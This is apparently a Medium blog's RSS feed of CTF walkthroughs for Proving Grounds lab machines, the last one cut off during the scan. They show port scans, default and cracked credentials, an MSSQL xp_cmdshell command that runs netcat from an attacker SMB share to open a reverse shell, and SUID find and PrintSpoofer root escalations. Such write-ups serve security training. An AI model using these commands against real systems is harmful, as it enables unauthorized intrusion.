<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Brian on Medium]]></title>
        <description><![CDATA[Stories by Brian on Medium]]></description>
        <link>https://medium.com/@bdsalazar?source=rss-5e44ad140064------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*kBYu7vHm5oH_7Rjxd05y4g.jpeg</url>
            <title>Stories by Brian on Medium</title>
            <link>https://medium.com/@bdsalazar?source=rss-5e44ad140064------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 01 Dec 2026 11:00:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@bdsalazar/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Proving Grounds -Nibbles (Intermediate) Linux Box -Walkthrough — A Journey to Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-nibbles-intermediate-linux-box-walkthrough-a-journey-to-offensive-security-918727ec6b25?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/918727ec6b25</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Sun, 10 Nov 2024 03:28:03 GMT</pubDate>
            <atom:updated>2024-11-10T03:41:44.758Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Nibbles (Intermediate) Linux Box -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>In this blog post, we will explore the walkthrough of the “Nibbles” intermediate-level Linux box from the Proving Grounds. We will walk through the process of exploiting a PostgreSQL vulnerability to gain initial access on a target machine, followed by privilege escalation techniques to achieve root access. Starting with default credentials in PostgreSQL, we’ll leverage a known exploit to obtain a foothold, then uncover and utilize an SUID binary — /usr/bin/find—as our path to escalate privileges. By referencing GTFOBins, we’ll demonstrate how to use this binary to elevate permissions and ultimately gain full root control over the system.</p><h3>Information Gathering:</h3><p>During the initial reconnaissance we find port 5437 to be open.</p><pre># Nmap 7.92 scan initiated Wed Mar  9 18:41:34 2022 as: nmap -vv --reason -Pn -A --osscan-guess --version-all -p- -oN /home/kali/Downloads/ProvingGroundsBoxes/Nibbles/results/192.168.236.47/scans/_full_tcp_nmap.txt -oX /home/kali/Downloads/ProvingGroundsBoxes/Nibbles/results/192.168.236.47/scans/xml/_full_tcp_nmap.xml 192.168.236.47<br>adjust_timeouts2: packet supposedly had rtt of -181277 microseconds.  Ignoring time.<br>adjust_timeouts2: packet supposedly had rtt of -181277 microseconds.  Ignoring time.<br>Nmap scan report for 192.168.236.47<br>Host is up, received user-set (0.084s latency).<br>Scanned at 2022-03-09 18:41:36 EST for 380s<br>Not shown: 65529 filtered tcp ports (no-response)<br>PORT     STATE  SERVICE      REASON         VERSION<br>21/tcp   open   ftp          syn-ack ttl 63 vsftpd 3.0.3<br>22/tcp   open   ssh          syn-ack ttl 63 OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)<br>| ssh-hostkey: <br>|   2048 10:62:1f:f5:22:de:29:d4:24:96:a7:66:c3:64:b7:10 (RSA)<br>| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDJgyzpWrB8SyLb/XmPYQYzsnfizW7d0aNZHpwQ9ivcHQ/RYLbCc8yUIQGN2JMqCgfSj8CRMA36UnV8jnngjkw9njcgMyA5qc1mO4tzzH7VNkW2t5AmP7Q1HBt+SThlLa0JxBN6Gd5BOPwrsk9YTjLj8ax2ncvGBq8jzQjYmm9jF4VgBak5DY+Q5JWdf9krumSlR+V8yneV9aQ6sVy2XgkCJQLQ8GoUTm/13XUTc3TCKQ2KOJ2FzA8VcNTfxqTDxalwnYrZ1tod7BRfMeff5MwxC5gzeB+hdOVC0zAZlvNtMxH6SCxMBRCoX9IHL27E6WtSGXCj1SLYJWrFImjp+I1L<br>|   256 c9:15:ff:cd:f3:97:ec:39:13:16:48:38:c5:58:d7:5f (ECDSA)<br>| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBM7uIYLogPsKP+c0QrezqQfB94ml7djfUOtG8ZAoMX6yK898l0TbgyAShcQSmdOsSMGdSO4GZpixCFJdsYkBi0M=<br>|   256 90:7c:a3:44:73:b4:b4:4c:e3:9c:71:d1:87:ba:ca:7b (ED25519)<br>|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKoHnGdMtb37ORTRBt2cTfWvQE7IB3fF3ewP/1tqn0JF<br>80/tcp   open   http         syn-ack ttl 63 Apache httpd 2.4.38 ((Debian))<br>|_http-title: Enter a title, displayed at the top of the window.<br>| http-methods: <br>|_  Supported Methods: OPTIONS HEAD GET POST<br>|_http-server-header: Apache/2.4.38 (Debian)<br>139/tcp  closed netbios-ssn  reset ttl 63<br>445/tcp  closed microsoft-ds reset ttl 63<br>5437/tcp open   postgresql   syn-ack ttl 63 PostgreSQL DB 11.3 - 11.7<br>| ssl-cert: Subject: commonName=debian<br>| Subject Alternative Name: DNS:debian<br>| Issuer: commonName=debian<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2020-04-27T15:41:47<br>| Not valid after:  2030-04-25T15:41:47<br>| MD5:   b086 6d30 4913 684e 16c1 8348 fc76 fe43<br>| SHA-1: cb30 5109 0fc1 14ab 0fb9 8e55 5874 4bb5 ba57 66af<br>| -----BEGIN CERTIFICATE-----<br>| MIIC0DCCAbigAwIBAgIUYoM4kALX3eWKWuCQ1/K5FujVbGowDQYJKoZIhvcNAQEL<br>| BQAwETEPMA0GA1UEAwwGZGViaWFuMB4XDTIwMDQyNzE1NDE0N1oXDTMwMDQyNTE1<br>| NDE0N1owETEPMA0GA1UEAwwGZGViaWFuMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A<br>| MIIBCgKCAQEAkpSVo7cfTt1CRy7yDV5Nr2dOJxIyg3JdaE+Mdtsw7/cbPaucXy/L<br>| fYOoyUsSINbZtIV6/WEpFVD+fIWwPoPWsgazcnNF0Z1quuxOjXnmZICvVqku5vHk<br>| Q+facbUNjGpz9OMC4s0y/T7uHH6psPoBBgL5ZVTNvU6tK/CnvjtPpMgQ+bOkIqsM<br>| mMxQnUILBBfUdaVfgetlPCc1qg4+fq0ZCP/d0vjIlb6kA3AuprjFo2xpLwtbx0RM<br>| BXkmm+STQRTxYnY62MRiL52tzACWfI7lml8LnUFP98tpPzT/0UCBx8cLLNrGlhQP<br>| ZZb7sALAS8hjpOcIjvRT+ZfXKHHma5RvGQIDAQABoyAwHjAJBgNVHRMEAjAAMBEG<br>| A1UdEQQKMAiCBmRlYmlhbjANBgkqhkiG9w0BAQsFAAOCAQEAJ1f62YGJW8Ds0e31<br>| s6hlCQX0kpn5+UXbTMMkjkBWp54aPg6YjUbg4py/E+gJtDWDv/Z8bT+ggiHdIQLf<br>| +99KE7ShNlnn+hiI4MYjza5rl2W00taN0PiYcKpz898aQ/4Kmho5wkYz+s1bi87O<br>| 5/IphYJXZYLOLf3CzuWzCT5RUBKZO/BVX79kqJvOLH2xJOkRwA9mgNh5QY0CBzCk<br>| NVOoDL+Yhof2sZs/UetiW//U8Mtiz22rQWmU4l/tU/X8rUAJQYOCmohGCXnU3aN2<br>| 6VSDkryCvRWChxwJtqXdKEMZ03E/zr35LhqLWmQmRSEjeVw10HN3g6Y1NpAKV1+g<br>| rFaQxA==<br>|_-----END CERTIFICATE-----<br>|_ssl-date: TLS randomness does not represent time<br>Device type: general purpose|firewall|storage-misc|WAP<br>Running (JUST GUESSING): Linux 2.6.X|3.X|4.X|2.4.X (87%), WatchGuard Fireware 11.X (87%), Synology DiskStation Manager 5.X (86%), FreeBSD 6.X (85%)<br>OS CPE: cpe:/o:linux:linux_kernel:2.6.32 cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.4 cpe:/o:watchguard:fireware:11.8 cpe:/o:linux:linux_kernel cpe:/a:synology:diskstation_manager:5.1 cpe:/o:linux:linux_kernel:2.4 cpe:/o:freebsd:freebsd:6.2<br>OS fingerprint not ideal because: Didn&#39;t receive UDP response. Please try again with -sSU<br>Aggressive OS guesses: Linux 2.6.32 (87%), Linux 2.6.32 or 3.10 (87%), Linux 2.6.39 (87%), Linux 3.10 - 3.12 (87%), Linux 3.5 (87%), Linux 4.4 (87%), WatchGuard Fireware 11.8 (87%), Synology DiskStation Manager 5.1 (86%), Linux 2.6.35 (86%), Linux 4.9 (86%)<br>No exact OS matches for host (test conditions non-ideal).<br>TCP/IP fingerprint:<br>SCAN(V=7.92%E=4%D=3/9%OT=21%CT=139%CU=%PV=Y%DS=2%DC=T%G=N%TM=62293CAC%P=x86_64-pc-linux-gnu)<br>SEQ(SP=FF%GCD=1%ISR=10A%TI=Z%TS=A)<br>OPS(O1=M54EST11NW7%O2=M54EST11NW7%O3=M54ENNT11NW7%O4=M54EST11NW7%O5=M54EST11NW7%O6=M54EST11)<br>WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)<br>ECN(R=Y%DF=Y%TG=40%W=FAF0%O=M54ENNSNW7%CC=Y%Q=)<br>T1(R=Y%DF=Y%TG=40%S=O%A=S+%F=AS%RD=0%Q=)<br>T2(R=N)<br>T3(R=N)<br>T4(R=N)<br>T5(R=Y%DF=Y%TG=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)<br>T6(R=N)<br>T7(R=N)<br>U1(R=N)<br>IE(R=Y%DFI=N%TG=40%CD=S)<br> <br>Uptime guess: 6.069 days (since Thu Mar  3 17:07:57 2022)<br>Network Distance: 2 hops<br>TCP Sequence Prediction: Difficulty=255 (Good luck!)<br>IP ID Sequence Generation: All zeros<br>Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel<br> <br>TRACEROUTE (using port 139/tcp)<br>HOP RTT      ADDRESS<br>1   85.77 ms 192.168.49.1<br>2   85.94 ms 192.168.236.47<br> <br>Read data files from: /usr/bin/../share/nmap<br>OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br># Nmap done at Wed Mar  9 18:47:56 2022 -- 1 IP address (1 host up) scanned in 382.71 seconds</pre><h3>Port 5437-Postgresql</h3><ul><li><strong><em>A Google search for “list of postgesql usernames and passwords” returned the following website.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/937/1*HbIZX7IBeQcc7E7PT_iohQ.png" /><figcaption>postgresql default password list</figcaption></figure><ul><li><strong><em>We type the following command to login the postgres server with user postgres, password postgres and find it is running version 11.7.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*1VyEm4rxE_aF9NRr2j9dKg.png" /><figcaption>psql server login</figcaption></figure><h3>Exploitation</h3><p><strong>PostgreSQL Remote Code Execution</strong></p><ul><li><strong><em>The following webpage/script was discovered after searching for “postgresql reverse shell 11.7 github” on Google.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6TBH0iQP-XVh0xpaU9rMPA.png" /><figcaption>Google — Postgresql 11.7 reverse shell GitHub</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2NY0Tf3WoL3BjIunoQ1Bbw.png" /><figcaption>Github — PostgreSQL_RCE script</figcaption></figure><ul><li><strong><em>We git clone the script onto our Kali machine, we open it in Vim and modify the local and remote IP/port.</em></strong></li><li><strong><em>We setup a penelope listener on port 80 on our Kali machine.</em></strong></li><li><strong><em>We type the following command to execute the RCE script and receive a reverse shell.</em></strong></li></ul><pre>python3 postgresql_rce.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/538/1*dZ5nVcfIaesn_I7VhIUq3g.png" /><figcaption>python3 postgresql_rce.py</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*4HfVzA6p-kbvlitpFo5FIg.png" /><figcaption>reverse shell</figcaption></figure><h3>Privilege Escalation</h3><p><strong>Local Enumeration</strong></p><ul><li><strong><em>To search for SUID binaries, we run the command below.</em></strong></li></ul><pre>find / -user root -perm -4000 -exec ls -ldb {} \; 2&gt;/dev/null</pre><ul><li><strong><em>When executing the previous command to search for SUID binaries, the following was discovered.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*aABNOV97TqzB9PD8H1bdBg.png" /><figcaption>SUID — /usr/bin/find</figcaption></figure><h3>Privilege Escalation vector</h3><p><strong>SUID Find Binary</strong></p><ul><li><strong><em>Using GTFOBins, we identified a command that leverages the </em></strong><strong><em>find binary running as SUID to escalate privileges.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4gEftVJSPvh2Maecz7JLw.png" /><figcaption>GTFOBins —SUID Find Binary</figcaption></figure><ul><li><strong><em>Following the GTFOBins reference, we execute the following command, successfully receiving a reverse shell with root privileges</em></strong>.</li></ul><pre>/usr/bin/find . -exec /bin/sh -p \; -quit</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/513/1*o8xxwtwn-u7tXF7pxEnxRA.png" /><figcaption>root shell</figcaption></figure><h3>Improved Skills</h3><ul><li>Postgresql enumeration</li><li>Find SUID binary privilege escalation</li></ul><h3>Conclusion</h3><p>This walkthrough emphasizes the importance of comprehensive enumeration and leveraging known exploits, such as PostgreSQL vulnerabilities, to gain initial access. The box also highlights the value of identifying and exploiting SUID binaries like find for privilege escalation, showcasing the effective use of GTFOBins to achieve root access. This process reinforces skills in identifying misconfigurations and using publicly available resources to escalate privileges on a target machine.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/login?redirect_to=%2Fchannels%2F%40me">https://discord.com/login?redirect_to=%2Fchannels%2F%40me</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=918727ec6b25" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds -Meathead (Hard) Windows Box -Walkthrough — A Journey to Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-meathead-hard-windows-box-walkthrough-a-journey-to-offensive-security-e282a09475d6?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/e282a09475d6</guid>
            <category><![CDATA[education]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Thu, 31 Oct 2024 09:25:19 GMT</pubDate>
            <atom:updated>2025-02-14T01:58:43.669Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds -Meathead (Hard) Windows Box -Walkthrough — A Journey to Offensive Security</h3><h3>Introduction:</h3><p>In this walkthrough of the Proving Grounds machine titled “Meathead,” we’ll explore various techniques, including exploiting FTP anonymous login, MSSQL vulnerabilities, password cracking, and achieving privilege escalation on this challenging Windows box.</p><h3>Information Gathering:</h3><p>We initiate a TCP port scan using Rustscan to discover open services on the machine, revealing that ports 1221 and 1435 were accessible.</p><pre>rustscan -a 192.168.114.70 --ulimit 5000                                                                                       (master✱) <br>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.<br>| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |<br>| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |<br>`-&#39; `-&#39;`-----&#39;`----&#39;  `-&#39;  `----&#39;  `---&#39; `-&#39;  `-&#39;`-&#39; `-&#39;<br>The Modern Day Port Scanner.<br>________________________________________<br>: https://discord.gg/GFrQsGy           :<br>: https://github.com/RustScan/RustScan :<br> --------------------------------------<br>Nmap? More like slowmap.🐢<br><br>[~] The config file is expected to be at &quot;/home/kali/.rustscan.toml&quot;<br>[~] Automatically increasing ulimit value to 5000.<br>Open 192.168.114.70:80<br>Open 192.168.114.70:135<br>Open 192.168.114.70:139<br>Open 192.168.114.70:445<br>Open 192.168.114.70:1221<br>Open 192.168.114.70:1435<br>Open 192.168.114.70:3389<br>Open 192.168.114.70:5985<br>[~] Starting Script(s)<br>[&gt;] Script to be run Some(&quot;nmap -vvv -p {{port}} {{ip}}&quot;)<br><br>[~] Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-30 23:49 EDT<br>Initiating Ping Scan at 23:49<br>Scanning 192.168.114.70 [2 ports]<br>Completed Ping Scan at 23:49, 0.08s elapsed (1 total hosts)<br>Initiating Parallel DNS resolution of 1 host. at 23:49<br>Completed Parallel DNS resolution of 1 host. at 23:49, 0.01s elapsed<br>DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]<br>Initiating Connect Scan at 23:49<br>Scanning 192.168.114.70 [8 ports]<br>Discovered open port 3389/tcp on 192.168.114.70<br>Discovered open port 135/tcp on 192.168.114.70<br>Discovered open port 139/tcp on 192.168.114.70<br>Discovered open port 80/tcp on 192.168.114.70<br>Discovered open port 445/tcp on 192.168.114.70<br>Discovered open port 5985/tcp on 192.168.114.70<br>Discovered open port 1221/tcp on 192.168.114.70<br>Discovered open port 1435/tcp on 192.168.114.70<br>Completed Connect Scan at 23:49, 0.08s elapsed (8 total ports)<br>Nmap scan report for 192.168.114.70<br>Host is up, received syn-ack (0.080s latency).<br>Scanned at 2022-06-30 23:49:26 EDT for 0s<br><br>PORT     STATE SERVICE        REASON<br>80/tcp   open  http           syn-ack<br>135/tcp  open  msrpc          syn-ack<br>139/tcp  open  netbios-ssn    syn-ack<br>445/tcp  open  microsoft-ds   syn-ack<br>1221/tcp open  sweetware-apps syn-ack<br>1435/tcp open  ibm-cics       syn-ack<br>3389/tcp open  ms-wbt-server  syn-ack<br>5985/tcp open  wsman          syn-ack<br><br>Read data files from: /usr/bin/../share/nmap<br>Nmap done: 1 IP address (1 host up) scanned in 0.26 seconds<br><br>sudo nmap -sC -sV 192.168.114.70 -p 80,135,139,445,1221,1435,3389,5985                                      (master✱) <br>[sudo] password for kali: <br>Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-01 00:02 EDT<br>Nmap scan report for 192.168.114.70<br>Host is up (0.10s latency).<br><br>PORT     STATE SERVICE       VERSION<br>80/tcp   open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: Plantronics<br>135/tcp  open  msrpc         Microsoft Windows RPC<br>139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn<br>445/tcp  open  microsoft-ds  Microsoft Windows Server 2008 R2 - 2012 microsoft-ds<br>1221/tcp open  ftp           Microsoft ftpd<br>| ftp-syst: <br>|_  SYST: Windows_NT<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>| 04-27-20  07:02PM                18866 Elementum Supremum.docx<br>| 04-27-20  07:02PM               764176 file_example_MP3_700KB.mp3<br>| 04-27-20  07:02PM                15690 img.jpg<br>| 04-27-20  07:02PM                  302 MSSQL_BAK.rar<br>| 04-27-20  07:02PM                  548 palindromes.txt<br>|_04-27-20  07:02PM                45369 server.jpg<br>1435/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Not valid before: 2021-09-21T18:21:07<br>|_Not valid after:  2051-09-21T18:21:07<br>| ms-sql-ntlm-info: <br>|   Target_Name: MEATHEAD<br>|   NetBIOS_Domain_Name: MEATHEAD<br>|   NetBIOS_Computer_Name: MEATHEAD<br>|   DNS_Domain_Name: Meathead<br>|   DNS_Computer_Name: Meathead<br>|_  Product_Version: 10.0.17763<br>|_ssl-date: 2022-07-01T04:03:54+00:00; 0s from scanner time.<br>3389/tcp open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2022-07-01T04:03:54+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=Meathead<br>| Not valid before: 2022-06-29T23:40:16<br>|_Not valid after:  2022-12-29T23:40:16<br>| rdp-ntlm-info: <br>|   Target_Name: MEATHEAD<br>|   NetBIOS_Domain_Name: MEATHEAD<br>|   NetBIOS_Computer_Name: MEATHEAD<br>|   DNS_Domain_Name: Meathead<br>|   DNS_Computer_Name: Meathead<br>|   Product_Version: 10.0.17763<br>|_  System_Time: 2022-07-01T04:03:15+00:00<br>5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb2-security-mode: <br>|   3.1.1: <br>|_    Message signing enabled but not required<br>| smb-security-mode: <br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-time: <br>|   date: 2022-07-01T04:03:24<br>|_  start_date: N/A<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 86.99 seconds</pre><h3>Port 1221 — FTP</h3><ul><li><strong><em>After discovering the open FTP port (1221), we attempted to log in anonymously and find file MSSQL_BAK.rar.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/606/1*9SK1wU7eF6Mgtbv0QoRlFg.png" /><figcaption>FTP Anonymous Login- Discovery of MSSQL_BAK.rar file</figcaption></figure><ul><li><strong><em>To download the file our Kali machine, we type the following.</em></strong></li></ul><pre>mget MSSQL_BAK.rar</pre><ul><li><strong><em>When we try to open the “MSSQL_BACK.rar” file on our Kali machine, a password was required.</em></strong></li><li><strong><em>We type the following command to convert the password-protected RAR file into a hash format that can be cracked by John the Ripper.</em></strong></li></ul><pre>rar2john MSSQL_BAK.rar &gt; back.hash</pre><ul><li><strong><em>Using John the Ripper with rockyou.txt wordlist, we successfully crack the password hash revealing the plaintext password “letmeinplease” with the following command.</em></strong></li></ul><pre>john back.hash --wordlist=/usr/share/wordlists/rockyou.txt</pre><ul><li><strong><em>Using the cracked password “letmeinplease”, we successfully extracted the contents of MSSQL_BAK.rar using the unrar utility.</em></strong></li></ul><pre>unrar e MSQL_BAK.rar -p</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*sqP_CQDhH65Z086tPh0T0w.png" /><figcaption>unrar e MSSQL_BAK.rar -p</figcaption></figure><ul><li><strong><em>During enumeration of the extracted files, we discover SQL Server credentials with username “sa” and password “EjectFrailtyThorn425”.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/337/1*IaVUqfmdEAHXv2ZjROssiw.png" /><figcaption>mssql_backup.txt</figcaption></figure><h3>Port 1435- Microsoft SQL Server 2017</h3><ul><li><strong><em>We utilize mssqclient.py to connect to an MS SQL Server on port 1435 with the username sa and password EjectFrailtyThrorn425.</em></strong></li></ul><pre>mssqlclient.py -p 1435 sa:EjectFrailtyThorn425@192.168.114.70</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*cditvVGe6ksiTdByh3J0Mw.png" /><figcaption>mssqlclient.py</figcaption></figure><ul><li><strong><em>After typing “help,” we find a list of available commands that can be inputted for further interaction.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*evFd7UkDv0Kv1NuOD_g4Mg.png" /><figcaption>mssqlclient.py — help</figcaption></figure><ul><li><strong><em>We type the below command to enable the xp_cmdshell in order to run shell commands.</em></strong></li></ul><pre>enable_xp_cmdshell</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*60y0A0uC0UAaWSvOwlIQzQ.png" /><figcaption>enable_xp_cmdshell</figcaption></figure><ul><li><strong><em>We type the below command and find the system architecture to be x64 bit.</em></strong></li></ul><pre>xp_cmdshell systeminfo</pre><ul><li><strong><em>We set up an SMB share on our Kali machine to host the `nc64.exe` file by running `smbserver.py Share /home/kali/Downloads`, making the file accessible over the network for remote execution.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/749/1*7Pp3q8VCIgvitTLA6_Ch2A.png" /><figcaption>smbserver.py</figcaption></figure><ul><li><strong><em>We set up a Netcat listener on our Kali machine on port 3389 to capture incoming connections for a potential reverse shell.</em></strong></li><li><strong><em>On the MSSQL target machine, we execute the below command, successfully initiating a reverse shell connection to my Netcat listener on port 3389.</em></strong></li></ul><pre>xp_cmdshell \\[Kali IP]\Share\nc64.exe -e cmd.exe 192.168.49.114 3389</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/475/1*qyrU4zW67ExHbsA9cXcIhg.png" /><figcaption>reverse shell</figcaption></figure><h3>Privilege Escalation</h3><p><strong>Local Enumeration</strong></p><ul><li><strong><em>By typing `whoami /priv`, we confirm that `SeImpersonatePrivilege` is enabled, which could allow for privilege escalation techniques such as token impersonation on the system.</em></strong></li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/719/1*bkakLlyodhNx8zBm8FiJoQ.png" /><figcaption>whoami /priv</figcaption></figure><h3>Privilege Escalation vector</h3><ul><li><strong><em>We navigate to the </em></strong><strong><em>C:\Users\Public directory, a share folder accessible to all users on the system.</em></strong></li><li><strong><em>We use download PrintSpoofer.exe to the target machine.</em></strong></li><li><strong><em>We execute the below command on the target machine, successfully opening a command shell with system-level privileges.</em></strong></li></ul><pre>PrintSpoofer64.exe -i -c cmd</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*j_WXsT9lxubA5CYBYiYJLw.png" /><figcaption>nt authority/system shell</figcaption></figure><h3>Improved Skills</h3><ul><li>Enumerating FTP for anonymous access</li><li>Cracking RAR passwords with john</li><li>Leveraging MSSQL xp_cmdshell for command execution</li><li>Exploiting SeImpersonatePrivilege with PrintSpoofer</li></ul><h3>Conclusion</h3><p>The “Meathead” machine offers a challenging yet rewarding experience, reinforcing the importance of thorough enumeration and strategic exploitation in penetration testing.</p><p>Please feel free to reach out to me!</p><h3><a href="https://twitter.com/SL0cLpS_1">https://twitter.com/SL0cLpS_1</a></h3><p><a href="https://discord.com/users/679920497299161119">https://discord.com/users/679920497299161119</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e282a09475d6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds — Flimsy(Easy)Linux Box — Walkthrough A Journey To Offensive Security]]></title>
            <link>https://medium.com/@bdsalazar/proving-grounds-flimsy-easy-linux-box-walkthrough-a-journey-to-offensive-security-3eebcdf43d93?source=rss-5e44ad140064------2</link>
            <guid isPermaLink="false">https://medium.com/p/3eebcdf43d93</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[education]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Brian]]></dc:creator>
            <pubDate>Mon, 16 Sep 2024 02:55:24 GMT</pubDate>
            <atom:updated>2024-09-16T02:55:24.862Z</atom:updated>
            <content:encoded><![CDATA[<h3>Proving Grounds — Flimsy(Easy)Linux Box — Walkthrough A Journey To Offensive Security</h3><h3>Introduction:</h3><p>In this post, we’ll walk through an easy-level Linux box, codenamed “Flimsy.” This box challenges penetration testers with exploiting an Apache APISIX remote code execution (RCE) vulnerability and leveraging privilege escalation techniques using weak service configurations. Let’s dive into the process, starting from initial enumeration to obtaining root access.</p><h3>Information Gathering:</h3><p>During the initial enumeration, port 43500 identified as OpenResty web app server.</p><pre>Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-27 19:59 PDT<br>Nmap scan report for 192.168.210.220<br>Host is up (0.095s latency).<br>Not shown: 65378 filtered tcp ports (no-response), 152 filtered tcp ports (host-prohibited), 1 closed tcp port (reset)<br>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit<br>PORT      STATE SERVICE<br>22/tcp    open  ssh<br>80/tcp    open  http<br>3306/tcp  open  mysql<br>43500/tcp open  unknown<br><br>Nmap done: 1 IP address (1 host up) scanned in 152.01 seconds<br><br><br>Nmap scan report for 192.168.219.220<br>Host is up (0.096s latency).<br><br>PORT      STATE SERVICE VERSION<br>22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br>80/tcp    open  http    nginx 1.18.0 (Ubuntu)<br>|_http-server-header: nginx/1.18.0 (Ubuntu)<br>|_http-title: Upright<br>3306/tcp  open  mysql   MySQL (unauthorized)<br>43500/tcp open  http    OpenResty web app server<br>Service Info: OS: Linux; CPE: 